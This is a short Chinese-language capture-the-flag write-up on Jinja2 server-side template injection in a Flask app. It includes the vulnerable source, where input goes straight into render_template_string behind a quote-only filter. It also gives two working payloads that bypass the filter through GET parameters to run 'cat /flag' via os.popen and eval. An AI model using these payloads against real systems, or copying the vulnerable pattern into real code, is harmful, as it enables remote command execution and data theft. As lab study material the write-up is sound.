Werkzeug/1.0.1Python/3.8.7

    试了下 web262 EXP 的不行了，换个其他的
    为了看源码。

    1. /?name={{lipsum.__globals__.os.popen(request.args.tari).read()}}&tari=cat%20/flag

    image.png

    看看源码

    1. from flask import Flask
    2. from flask import request
    3. from flask import render_template_string
    4. import re
    6. app = Flask(__name__)
    7. @app.route('/')
    8. def app_index():
    9.     name = request.args.get('name')
    10.     if name:
    11.         if re.search(r"\'|\"",name,re.I):
    12.             return ':('
    13.     template = '''
    14. {%% block body %%}
    15.     <div class="center-content error">
    16.         <h1>Hello</h1>
    17.         <h3>%s</h3>
    18.     </div> 
    19. {%% endblock %%}
    20. ''' % (request.args.get('name'))
    21.     return render_template_string(template)
    23. if __name__=="__main__":
    24.     app.run(host='0.0.0.0',port=80)

    原来是过滤了单引号，换种方式执行命令即可，这里通过 GET 参数进行传参即可

    其他解法

    1. /?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat%20/flag').read()

    利用 GET 请求参数传入被间接过滤而无法使用的值，然后利用字典访问，对于 Python 对象，eval 一下把字符串转换为Python代码即可。
    image.png